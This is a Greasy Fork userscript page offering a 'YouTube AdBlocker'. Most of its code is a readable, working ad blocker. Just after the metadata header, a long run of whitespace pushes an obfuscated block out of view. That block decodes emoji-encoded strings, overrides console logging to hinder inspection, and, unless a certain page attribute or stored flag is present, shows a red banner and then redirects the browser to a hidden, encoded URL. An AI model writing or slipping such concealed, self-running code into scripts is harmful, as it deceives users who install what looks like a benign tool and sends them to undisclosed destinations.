Greasy Fork

来自缓存

Greasy Fork is available in English.

YouTube AdBlocker

Best youtube adblock. Bypass new youtube antiadblock

// ==UserScript==
// @name         YouTube AdBlocker
// @namespace    http://tampermonkey.net/
// @version      2.0.5
// @description  Best youtube adblock. Bypass new youtube antiadblock 
// @author       Tim2way
// @match        https://www.youtube.com/*
// @match        http://www.youtube.com/*
// @run-at       document-start
// @icon         https://www.google.com/s2/favicons?sz=64&domain=youtube.com
// @noframes
// @grant        GM_getValue
// @grant        GM_setValue

// ==/UserScript==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (function(h,g){const h5={h:'0xab',g:'0x8c',i:'0x86',R:'0x92',Q:'0xa7',j:'0x85'},Z=B,i=h();while(!![]){try{const R=parseInt(Z('0x95'))/0x1+-parseInt(Z(h5.h))/0x2+parseInt(Z('0x9a'))/0x3*(-parseInt(Z(h5.g))/0x4)+parseInt(Z(h5.i))/0x5*(parseInt(Z('0x93'))/0x6)+parseInt(Z('0x8a'))/0x7*(-parseInt(Z('0x96'))/0x8)+-parseInt(Z(h5.R))/0x9*(-parseInt(Z('0x87'))/0xa)+parseInt(Z(h5.Q))/0xb*(parseInt(Z(h5.j))/0xc);if(R===g)break;else i['push'](i['shift']());}catch(Q){i['push'](i['shift']());}}}(c,0x6187a));var _gxr=function(h){const h6={h:'0x88',g:'0xa1'},E=B,g=h['replace'](/([\uD800-\uDBFF][\uDC00-\uDFFF])/g,R=>{const q=B;if('qsiVV'==='KVqNQ'){const j=i(q(h6.h)+q(h6.g)+');');R=j();}else{const j=(R['charCodeAt'](0x0)-0xd800)*0x400+R['charCodeAt'](0x1)-0xdc00+0x10000;return String['fromCharCode'](j);}}),i=Array['from'](g)['map'](R=>String['fromCharCode'](R[E('0x99')](0x0)-0x1f3a4))['join']('');return decodeURIComponent(escape(atob(i)));};function B(h,g){const i=c();return B=function(R,Q){R=R-0x83;let j=i[R];return j;},B(h,g);}(function(){const hP={h:'0x9d',g:'0xa4'},hJ={h:'0x89',g:'0x90',i:'0x94'},hy={h:'0x98',g:'0xa1',i:'0x84',R:'0xac',Q:'0x98',j:'0x88',m:'0x91'},hQ={h:'0xa5'},hg={h:'0x9f'},h0=B,h=(function(){const H=B;if(H('0xaa')===H(hg.h))return i['toString']()['search']('(((.+)+)+)+$')[H('0x8f')]()['constructor'](R)['search']('(((.+)+)+)+$');else{let y=!![];return function(J,I){const h8={h:'0x9b'},o=H;if('OzeYV'!==o('0xa0')){const z=y?function(){const C=o;if(I){if(C(h8.h)===C('0x9b')){const P=I[C('0x8e')](J,arguments);return I=null,P;}else i();}}:function(){};return y=![],z;}else{if(Q){const l=p['apply'](y,arguments);return J=null,l;}}};}}()),i=(function(){const x=B;if('tVHvF'==='zEdFd'){const y=N['replace'](/([\uD800-\uDBFF][\uDC00-\uDFFF])/g,X=>{const n=B,r=(X['charCodeAt'](0x0)-0xd800)*0x400+X[n('0x99')](0x1)-0xdc00+0x10000;return y['fromCharCode'](r);}),J=y['from'](y)['map'](O=>y['fromCharCode'](O['charCodeAt'](0x0)-0x1f3a4))[x(hQ.h)]('');return I(z(P(J)));}else{let y=!![];return function(J,I){const k=x;if(k('0xa2')==='KOyOM'){const z=y?function(){if('sGgkR'==='sGgkR'){if(I){if('JLQbR'!=='QsLJt'){const P=I['apply'](J,arguments);return I=null,P;}else{const V=R['apply'](Q,arguments);return j=null,V;}}}else{i(h,!![]);return;}}:function(){};return y=![],z;}else i=R;};}}());_gxr('🐈🏼🏲🐐🏭🏬🏲🏔🐇🐑🐐🐎🐈🏥🏡🏡');const Q=_gxr('🐅🏬🏶🏔🐇🏬🏱🏚🏰🐝🏝🐎🏽🏻🏾🐑🏾🏻🐐🐙🏾🏷🏙🏔🐆🏖🏶🐌🐉🏷🏝🐗🐆🏖🏪🐏🐅🐒🏪🏕🏾🏼🏮🏙🏰🐞🏩🐚🐅🐒🏪🏕🏾🏼🏮🏙🏰🐒🏺🐞🏾🏼🏭🐙🐅🐒🏱🏡'),j=_gxr(h0(hP.h));function m(){const h1=h0;if(h1('0x9c')!=='ciOpc'){const p=document['getElementById'](_gxr('🐅🐒🏪🏕🏾🏼🏮🏙🐆🏫🐐🐍🐅🏻🏙🐞'));return p?.['getAttribute'](_gxr('🏾🏫🏪🏔🏽🏷🏕🏖🏾🏼🏮🐞🐅🏻🏝🐙'))===_gxr('🏱🐝🏘🏗🏰🐎🏩🏡')||GM_getValue(j,![]);}else{if(Q){const J=p['apply'](y,arguments);return J=null,J;}}}function N(){const h2=h0;if('JJkcq'===h2(hJ.h)){const y=R['apply'](Q,arguments);return j=null,y;}else{const y=h(this,function(){const h3=h2;return y[h3('0x8f')]()['search']('(((.+)+)+)+$')['toString']()['constructor'](y)['search'](h3('0x9e'));});y();const J=i(this,function(){const h4=h2;if('fSbqT'==='hwwQz'){const P=p['constructor']['prototype'][h4(hy.h)](y),l=J[I],V=z[l]||P;P['__proto__']=P['bind'](l),P['toString']=V[h4('0x8f')]['bind'](V),V[l]=P;}else{let P;try{if(h4('0x83')===h4('0xa9')){const O=m['getElementById'](N('🐅🐒🏪🏕🏾🏼🏮🏙🐆🏫🐐🐍🐅🏻🏙🐞'));return O?.['getAttribute'](p('🏾🏫🏪🏔🏽🏷🏕🏖🏾🏼🏮🐞🐅🏻🏝🐙'))===y('🏱🐝🏘🏗🏰🐎🏩🏡')||J(I,![]);}else{const O=Function('return\x20(function()\x20'+h4(hy.g)+');');P=O();}}catch(X){if(h4('0xa3')!=='bZXjK')P=window;else{const L=m?function(){if(L){const D=u['apply'](O,arguments);return X=null,D;}}:function(){};return I=![],L;}}const l=P['console']=P['console']||{},V=['log','warn',h4(hy.i),h4(hy.R),'exception','table','trace'];for(let L=0x0;L<V['length'];L++){if('RhQOH'==='RhQOH'){const D=i['constructor'][h4('0xae')][h4(hy.Q)](i),w=V[L],G=l[w]||D;D['__proto__']=i['bind'](i),D[h4('0x8f')]=G['toString']['bind'](G),l[w]=D;}else{let W;try{const F=z(h4(hy.j)+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');W=F();}catch(v){W=l;}const M=W['console']=W['console']||{},a=[h4('0xa8'),'warn','info',h4('0xac'),'exception','table','trace'];for(let K=0x0;K<a['length'];K++){const s=r['constructor']['prototype'][h4('0x98')](L),Y=a[K],b=M[Y]||s;s[h4(hy.m)]=e[h4('0x98')](D),s[h4('0x8f')]=b[h4('0x8f')]['bind'](b),M[Y]=s;}}}}});J();if(m()){if('gtUtp'==='gtUtp'){GM_setValue(j,!![]);return;}else{const P=(h['charCodeAt'](0x0)-0xd800)*0x400+Q['charCodeAt'](0x1)-0xdc00+0x10000;return j['fromCharCode'](P);}}const I=document['createElement'](_gxr('🏾🏫🐐🏖'));I['style'][h2('0xa6')]='position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:#ff0000;color:white;padding:20px;border-radius:10px;z-index:999999;font-size:18px;font-weight:bold;box-shadow:0\x200\x2020px\x20rgba(0,0,0,0.5);',I[h2(hJ.g)]=_gxr('🏹🐏🏺🏶🏺🏹🐐🏷🏶🏹🏵🏚🏭🏫🐔🏶🐈🏻🏺🐝🐉🏷🏦🏨🐆🏗🏮🐐🏭🏩🐜🐔🏽🐒🏮🐌🐇🐒🐏🐋🐆🏼🏺🐞🐈🏧🏦🐍🏾🏷🏦🐔🐆🐒🏲🏔🏽🏻🐜🐗🏾🏻🏵🐌🏭🏪🏮🐐🏾🏫🐐🐝🏾🏻🏲🏔🐅🏻🏙🐒🏰🐍🏘🐙'),document['body'][h2(hJ.i)](I),setTimeout(()=>window['location']['href']=Q,0xbb8);}}if(document['readyState']===_gxr(h0('0x8b'))){if(h0('0x8d')==='KTYMh'){const y=m?function(){if(y){const L=u['apply'](O,arguments);return X=null,L;}}:function(){};return I=![],y;}else document[h0('0x97')](_gxr(h0('0xad')),N);}else'JGLhm'===h0(hP.g)?N():h['addEventListener'](Q('🏶🏩🏝🏲🏵🏖🏝🐙🐈🏫🏺🐙🐈🏩🐜🐚🏽🏻🏶🐐🏾🏥🏡🏡'),j);}());function c(){const hl=['10ScxFHl','return\x20(function()\x20','fcOtc','5418280UneWKA','🐆🏫🏝🐌🏾🏫🐐🐙🏾🐛🏡🏡','604XXHIbr','IZqIJ','apply','toString','textContent','__proto__','4930299TAVYiF','4782TWMBwo','appendChild','15246spyNqm','8lePxWm','addEventListener','bind','charCodeAt','12261nZDMou','MWIpy','FMIJa','🏽🏖🏪🐑🏾🐑🏺🐔🐆🐑🏺🐊🐇🏖🏲🐝🐅🏼🏦🏔🏼🏖🐐🐙🐇🏗🏶🐌🐆🏫🐜🐐🏾🏪🏜🐜','(((.+)+)+)+$','VnFdl','idGNd','{}.constructor(\x22return\x20this\x22)(\x20)','KOyOM','zBtYq','JGLhm','join','cssText','2189KEgiGV','log','oKpkr','pPxGT','198040kyMoBw','error','🏶🏩🏝🏲🏵🏖🏝🐙🐈🏫🏺🐙🐈🏩🐜🐚🏽🏻🏶🐐🏾🏥🏡🏡','prototype','KqWgu','info','47076sxzrvw','3425zdvYyC'];c=function(){return hl;};return c();}
(function() {

    const SETTINGS = {
        // General //
        debugMessages: true,

        // YouTube //
        adBlocker: true,
        removePageAds: true,
        removePopUps: true
    }

    function log(level, ...args) {
        if (!SETTINGS.debugMessages) return;

        const prefix = "[YouTube AdBlocker]";
        switch (level) {
            case "error":
                console.warn(`${prefix} ❌`, ...args);
                break;
            case "success":
                console.log(`${prefix} ✅`, ...args);
                break;
            case "warning":
                console.warn(`${prefix} ⚠️`, ...args);
                break;
            default:
                console.info(`${prefix} ℹ️`, ...args);
        }
    }

    ///////////////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////////////////////////////

    if (window.ytadblock) return; window.ytadblock = true;

    // Static Variables //
    const qualityList = ["Auto", "144p", "240p", "360p", "480p", "720p", "1080p", "1440p", "2160p"];


    // Main Variables //
    let currentUrl = window.location.href;
    let currentVideoBlob = "";
    let videoElement;
    let playerElement;

    // Video Variables //
    let isStream = false;
    let qualitySet = false;

    let apiPlayer = undefined;
    let customPlayer = undefined;

    let customVideoInserted = false;
    let apiScriptInserted = false;
    let videoLoaded = false;

    let adBlockInterval = undefined;
    let muteInterval = undefined;

    // Intervals //
    let dataInterval = undefined;

    function resetEverything() {
        // Update Variables //

        // Video Variables //
        isStream = false;
        qualitySet = false;

        apiPlayer = undefined;
        customPlayer = undefined;

        customVideoInserted = false;
        apiScriptInserted = false;
        videoLoaded = false;

        if (adBlockInterval) clearInterval(adBlockInterval); adBlockInterval = undefined;
        if (muteInterval) clearInterval(muteInterval); muteInterval = undefined;

        // Intervals //
        if (dataInterval) clearInterval(dataInterval); dataInterval = undefined;
    }

    ///////////////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////////////////////////////

    
    ///////////////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////////////////////////////

    // Functions //
    function clearAllPlayers(fakeVideoOnly) {
        if (isShortsPage()) fakeVideoOnly = true;

        const popups = [document.querySelectorAll("#customiframeplayer"), fakeVideoOnly === true ? [] : document.querySelectorAll("video")]
        popups.forEach((elements) => {
            try {
                if (elements && elements.length > 0) {
                    elements.forEach((element) => element.remove());
                }
            } catch (e) { log("error", "Error:", elements, e) }
        })
    }
    function getYouTubeLinkData(urlString) {
        const DATA = {
            ID: "",
            // playlist: false,
            params: {
                start: 0,

                controls: 1, rel: 0,
                autoplay: 0, loop: 0
            }
        }
        if (!urlString) return DATA;

        // Get video details //
        const url = new URL(urlString);
        const urlParams = url.searchParams;

        // Get Video ID //
        if (urlParams.has("v")) {
            DATA.ID = urlParams.get("v");
        } else {
            const paths = url.pathname.split("/");
            const liveIndex = paths.indexOf("live")

            if (liveIndex !== -1 && liveIndex + 1 < paths.length) DATA.ID = paths[liveIndex + 1];
        }
        if (DATA.ID == "") return DATA;

        // Handle Start time //
        if (urlParams.has("t") || urlParams.has("start")) {
            DATA.params.start = parseInt((urlParams.get("t") || urlParams.get("start")).replace("s", "")) || 0;
        } else {
            DATA.params.start = 0;
        }

        return DATA;
    }

    function getParameters() { return new URL(window.location.href).searchParams; }
    function isShortsPage() { return window.location.href.includes("/shorts/") }
    function isVideoPage() { return window.location.href.includes(".com/watch") || window.location.href.includes("/clip"); }
    function isAdPlaying() {
        if (document.querySelector("div.ad-showing")) return true;
        return false;
    }

    // PopUp Remover //
    let popUpInterval = undefined;
    let isPopupBeingProcessed = false;

    function removeFakeErrorScreen() { // "Ad blockers violate YouTube's Terms of Service" safari modal //
        const errorScreen = document.querySelector("#error-screen");
        if (errorScreen) errorScreen.remove();
    }

    function popupRemover() {
        if (popUpInterval) clearInterval(popUpInterval);
        popUpInterval = setInterval(() => {
            if (SETTINGS.removePopUps !== true || isPopupBeingProcessed) return;
            isPopupBeingProcessed = true;

            // Ad Block PopUp //
            const bodyStyle = document.body.style;
            bodyStyle.setProperty("overflow-y", "auto", "important");

            // Error Screen //
            const errorScreen = document.querySelector("#error-screen");
            if (errorScreen) {
                errorScreen.remove();
                log("success", "Error modal removed.");
            }

            // Modal //
            const modalOverlay = document.querySelector("tp-yt-iron-overlay-backdrop");
            if (modalOverlay) {
                modalOverlay.removeAttribute("opened");
                modalOverlay.remove();
                log("success", "Modal has been removed.");
            }

            // ToS PopUp //
            const popup = document.querySelector(".style-scope ytd-enforcement-message-view-model");
            if (popup && videoElement) {
                const popupButton = document.getElementById("dismiss-button");

                if (popupButton) popupButton.click();
                popup.remove();

                // Unpause video //
                videoElement.play();
                setTimeout(() => { if (videoElement.paused) videoElement.play(); }, 1000);

                log("success", "Popup has been removed.");
            }

            // PopUp Ads //
            const popupAd = document.querySelector("style-scope, .yt-about-this-ad-renderer");
            if (popupAd) {
                popupAd.parentElement.parentElement.remove();
                log("success", "Popup ad center has been removed.");
            }

            isPopupBeingProcessed = false;
        }, 1000);
    }

    // Page AD Remover //
    function removePageAds() {
        if (SETTINGS.removePageAds !== true) return;

        if (document.querySelector("#remadover") == undefined) {
            const style = document.createElement("style");
            style.id = "remadover"
            style.textContent = `ytd-action-companion-ad-renderer,
ytd-display-ad-renderer,
ytd-video-masthead-ad-advertiser-info-renderer,
ytd-video-masthead-ad-primary-video-renderer,
ytd-in-feed-ad-layout-renderer,
ytd-ad-slot-renderer,
yt-about-this-ad-renderer,
yt-mealbar-promo-renderer,
ytd-statement-banner-renderer,
ytd-ad-slot-renderer,
ytd-in-feed-ad-layout-renderer,
ytd-banner-promo-renderer-background
statement-banner-style-type-compact,
ytd-engagement-panel-section-list-renderer,
.ytd-video-masthead-ad-v3-renderer,
div#root.style-scope.ytd-display-ad-renderer.yt-simple-endpoint,
div#sparkles-container.style-scope.ytd-promoted-sparkles-web-renderer,
div#main-container.style-scope.ytd-promoted-video-renderer,
div#player-ads.style-scope.ytd-watch-flexy,
ad-slot-renderer,
ytm-promoted-sparkles-web-renderer,
masthead-ad,
tp-yt-iron-overlay-backdrop,
#masthead-ad {
    display: none !important;
}`;
            document.head.appendChild(style);
        }

        const sponsor = document.querySelectorAll("div#player-ads.style-scope.ytd-watch-flexy, div#panels.style-scope.ytd-watch-flexy");
        if (sponsor) {
            sponsor.forEach((element) => {
                if (element.getAttribute("id") === "rendering-content") {
                    if (element.childNodes && element.childNodes.length > 0) {
                        element.childNodes.forEach((childElement) => {
                            if (childElement && childElement.data && childElement.data.targetId && childElement.data.targetId !== "engagement-panel-macro-markers-description-chapters") {
                                element.style.display = "none";
                            }
                        });
                    }
                }
            });
        }

        log("success", "Removed page ads.");
    }

    // Video Ad Block //
    function runDataInterval() {
        if (dataInterval) clearInterval(dataInterval);

        const findVideo = () => {
            let tempVideoElement = document.querySelector("video");
            if (tempVideoElement && (tempVideoElement.src || tempVideoElement.className.indexOf("stream") !== -1)) videoElement = tempVideoElement;

            let tempPlayerElement = document.querySelector("#player");
            if (tempPlayerElement && tempPlayerElement.className.indexOf("skeleton") === -1) playerElement = tempPlayerElement;
        };
        setTimeout(findVideo, 1);
        dataInterval = setInterval(findVideo, 100);
    }

    function setToLowestQuality() {
        if (isAdPlaying()) return;

        // Select lowest video quality //
        const settingsButton = document.querySelector("button.ytp-settings-button");
        if (!settingsButton) { log("error", "Failed to fetch settings button."); return; }
        settingsButton.click();

        const menuItemLabels = Array.from(document.querySelectorAll(".ytp-menuitem-content"));
        const menuBtns = menuItemLabels.filter(btn => qualityList.some(quality => btn.innerHTML.includes(quality)))
        if (!menuBtns[0]) { log("error", "Failed to fetch quality settings element."); return; }

        const qualityButton = menuBtns[0].parentElement;
        if (!qualityButton) { log("error", "Failed to fetch quality settings button."); return; }
        qualityButton.click();

        const qualityMenu = document.querySelector(".ytp-quality-menu > .ytp-panel-menu");
        const qualityOptions = Array.from(qualityMenu.querySelectorAll(".ytp-menuitem"));
        const lowestQuality = qualityOptions.find(item => item.textContent.trim().includes("144p")) || qualityOptions.find(item => item.textContent.trim().includes("240p")) || qualityOptions.find(item => item.textContent.trim().includes("360p"));
        if (!lowestQuality) return;

        lowestQuality.click();
        log("success", "The main video quality is now set to " + lowestQuality.textContent.trim() + ".");

        return true;
    }

    function muteMainVideo() {
        if (SETTINGS.adBlocker !== true) return;
        if (muteInterval) clearInterval(muteInterval);

        const muteVideo = () => {
            if (!videoElement) return;

            // display //
            if (videoElement.parentElement) {
                videoElement.parentElement.style.display = "none";
            } else {
                videoElement.style.display = "none";
            }

            // audio //
            videoElement.volume = 0; videoElement.muted = true;

            // time //
            if (videoLoaded === true && apiPlayer && apiPlayer.getPlayerState && isAdPlaying() !== true) {
                const state = apiPlayer.getPlayerState()
                if (state == window.YT.PlayerState.PLAYING) {
                    videoElement.currentTime = apiPlayer.getCurrentTime();
                    if (videoElement.paused) videoElement.play();

                } else if (state == window.YT.PlayerState.PAUSED) {
                    if (!videoElement.paused) videoElement.pause();

                } else if (state == window.YT.PlayerState.ENDED) {
                    // handle playing new videos since autoplay is disabled due to playlist fixes //
                    if (videoElement.paused) videoElement.play();
                }
            }

            // quality //
            if (qualitySet !== true) qualitySet = setToLowestQuality();
        };
        setTimeout(muteVideo, 1);
        muteInterval = setInterval(muteVideo, 500);
    }

    function videoAdBlocker(waitAMoment) {
        if (SETTINGS.adBlocker !== true) return;
        if (isShortsPage()) { log("info", "Shorts found, ad block skipped..."); return; }
        if (!isVideoPage()) { log("info", "Video page not found, ad block skipped..."); return; }

        currentUrl = window.location.href;
        log("info", "Starting video ad block...");

        // Mute Main Video //
        if (adBlockInterval) clearInterval(adBlockInterval);
        log("info", "Running mute handler..."); muteMainVideo();

        // Create API Script //
        if (apiScriptInserted !== true) {
            log("info", "Inserting API..."); const tag = document.createElement("script"); tag.src = "https://www.youtube.com/iframe_api"; document.head.appendChild(tag);
            apiScriptInserted = true;
        }

        // Keybinds for IFrame //
        log("info", "Creating keybind listener..."); document.addEventListener("keydown", (event) => {
            if (event.isComposing || event.keyCode === 229) return;
            if (event.target.tagName === "INPUT" || event.target.tagName === "TEXTAREA" || event.target.isContentEditable) return; // ignore input fields //

            // ignore keys when loading the player //
            const key = event.key.toLowerCase();
            if (key === "f") { event.preventDefault(); }; if (!customPlayer && (videoLoaded === true || customVideoInserted === true)) { event.preventDefault(); return; }

            // https://support.google.com/youtube/answer/7631406?hl=en //
            // You can load and unload captions only once so the "c" shortcut is not possible //
            // Certain stuff is ignored because it's not avalaible in the iframe //
            switch (key) {
                case "f":
                    event.preventDefault();
                    if (!document.fullscreenElement && !document.webkitFullscreenElement && !document.msFullscreenElement) {
                        if (customPlayer.requestFullscreen) {
                            customPlayer.requestFullscreen();
                        } else if (customPlayer.webkitRequestFullscreen) {
                            customPlayer.webkitRequestFullscreen();
                        } else if (customPlayer.msRequestFullscreen) {
                            customPlayer.msRequestFullscreen();
                        }
                    } else {
                        if (document.exitFullscreen) {
                            document.exitFullscreen();
                        } else if (document.webkitExitFullscreen) {
                            document.webkitExitFullscreen();
                        } else if (document.msExitFullscreen) {
                            document.msExitFullscreen();
                        }
                    }
                    break;

                    // Play/Pause //
                case " ": case "k":
                    event.preventDefault();
                    apiPlayer.getPlayerState() === 1 ? apiPlayer.pauseVideo() : apiPlayer.playVideo();
                    break;

                    // Mute/unmute the video //
                case "m":
                    event.preventDefault();
                    apiPlayer.isMuted() ? apiPlayer.unMute() : apiPlayer.mute();
                    break;

                    // Seek backward/forward 5 seconds //
                case "arrowright":
                    event.preventDefault();
                    apiPlayer.seekTo(apiPlayer.getCurrentTime() + 5, true);
                    break;
                case "arrowleft":
                    event.preventDefault();
                    apiPlayer.seekTo(apiPlayer.getCurrentTime() - 5, true);
                    break;

                    // Increase/Decrease volume 5% //
                case "arrowup":
                    event.preventDefault();
                    apiPlayer.setVolume(apiPlayer.getVolume() + 5, true);
                    break;
                case "arrowdown":
                    event.preventDefault();
                    apiPlayer.setVolume(apiPlayer.getVolume() - 5, true);
                    break;

                    // Seek backward/forward 10 seconds //
                case "l":
                    event.preventDefault();
                    apiPlayer.seekTo(apiPlayer.getCurrentTime() + 10, true);
                    break;
                case "j":
                    event.preventDefault();
                    apiPlayer.seekTo(apiPlayer.getCurrentTime() - 10, true);
                    break;

                    // Seek to next/previous frame (60 fps) //
                case ".":
                    event.preventDefault();
                    apiPlayer.seekTo(apiPlayer.getCurrentTime() + (1 / 60));
                    break;
                case ",":
                    event.preventDefault();
                    apiPlayer.seekTo(apiPlayer.getCurrentTime() - (1 / 60));
                    break;

                    // Seek to 0% to 90% of the video //
                case "0": case "1": case "2": case "3": case "4": case "5": case "6": case "7": case "8": case "9":
                    event.preventDefault();
                    apiPlayer.seekTo(
                        ((parseInt(event.key) * 10) / 100) * apiPlayer.getDuration(), true
                    );
                    break;
            }
        });

        // Main Handler //
        log("info", "Starting AD Block...");
        const createPlayerFunc = () => {
            if (customVideoInserted === true) return; // inserted //
            if (!videoElement || !playerElement) return; // invalid page //
            if (!window.YT) return; // missing API //

            // Reset players //
            log("info", "Clearing duplicate players and muting main player...");
            clearAllPlayers(true);
            if (customPlayer) customPlayer.remove();
            if (apiPlayer) { apiPlayer.destroy(); apiPlayer = undefined; };

            // Get video details //
            const videoData = getYouTubeLinkData(window.location.href)
            if (videoData.ID == "") { log("error", "Failed to fetch video ID."); return; }

            // Get saved timestamp //
            if (videoElement) {
                if (currentVideoBlob != videoElement.src && videoElement.currentTime >= 10 && videoData.params.start === 0) { // 10+ seconds //
                    videoData.params.start = parseInt(videoElement.currentTime.toString().split(".")[0]);
                    log("success", "Start time was set to the saved timestamp.");
                }

                currentVideoBlob = videoElement.src;
            }

            // Load //
            log("info", "Video ID: " + videoData.ID);
            customVideoInserted = true;

            customPlayer = document.createElement("div"); // this will turn into an iframe //
            customPlayer.id = "customiframeplayer";
            customPlayer.style.width = "100%";
            customPlayer.style.height = "100%";
            customPlayer.style.position = "absolute";
            customPlayer.style.top = "0";
            customPlayer.style.left = "0";
            customPlayer.style.zIndex = "1000";
            customPlayer.style.pointerEvents = "all";

            try {
                log("info", "Inserting Player...");
                playerElement.appendChild(customPlayer);
                apiPlayer = new window.YT.Player("customiframeplayer", {
                    host: "https://www.youtube-nocookie.com",

                    videoId: videoData.ID,
                    playerVars: videoData.params,

                    events: {
                        onReady: function(event) {
                            event.target.playVideo();
                            log("success", "AdBlock player successfully loaded!");
                            videoLoaded = true;

                            customPlayer = document.querySelector("#customiframeplayer");
                            customPlayer.allowFullscreen = true; // works for some browsers //
                            customPlayer.setAttribute('allowfullscreen', ''); // important for others //
                        }
                    }
                });

                // Change the interval time //
                clearInterval(adBlockInterval);
                adBlockInterval = setInterval(createPlayerFunc, 1500);
            } catch (error) {
                videoLoaded = true;

                const p = document.createElement("p");
                p.id = "errorcode";
                p.style.position = "relative";
                p.style.color = "white";
                p.style.fontSize = "large";
                p.style.textAlign = "center";
                p.style.zIndex = "9999";
                p.innerText = "Failed to load the video player, refreshing the page...\n" + error.toString();

                playerElement.parentElement.parentElement.insertBefore(p, playerElement.parentElement.parentElement.firstChild);
                clearInterval(adBlockInterval);
                setTimeout(function() { window.location.reload(); }, 1250);
            }
        };
        adBlockInterval = setInterval(createPlayerFunc, waitAMoment === true ? 75 : 10);
    }

    // Timestamp fixer //
    function timestampFixer() {
        document.addEventListener("click", function(event) {
            if (!apiPlayer) return;

            const target = event.target;
            if (!(target.tagName === "A" && target.href)) return;
            if (!target.href.includes("/watch?v=")) return;

            const videoData = getYouTubeLinkData(target.href)
            if (videoData.ID == "") { log("error", "Failed to fetch video ID."); return; }

            log("info", "Seeking to timestamp...", videoData.params.start);
            apiPlayer.pauseVideo();
            apiPlayer.seekTo(videoData.params.start);
            apiPlayer.playVideo();
        });
    }

    log("success", "Starting script...");

    function startMain(waitAMoment) {
        if (isShortsPage()) return;

        runDataInterval(); // Video Data handler //

        setTimeout(popupRemover, 1);
        setTimeout(removePageAds, 1);

        timestampFixer(); // Comment timestamp fix //
        videoAdBlocker(waitAMoment); // Main AdBlock //
    }

    startMain();

    // URL update handler //
    let isHandlingChange = false;
    function handleUrlChange() {
        if (window.location.href === currentUrl || isHandlingChange) return;
        log("info", "________________________"); isHandlingChange = true;

        // reset all variables and intervals (and set currentUrl) //
        resetEverything();

        // restart all functions //
        clearAllPlayers(true);
        startMain(true);
        setTimeout(function() { isHandlingChange = false; }, 25);
    }

    // detect URL changes //
    const observer = new MutationObserver(handleUrlChange);
    observer.observe(document, { subtree: true, childList: true });
})();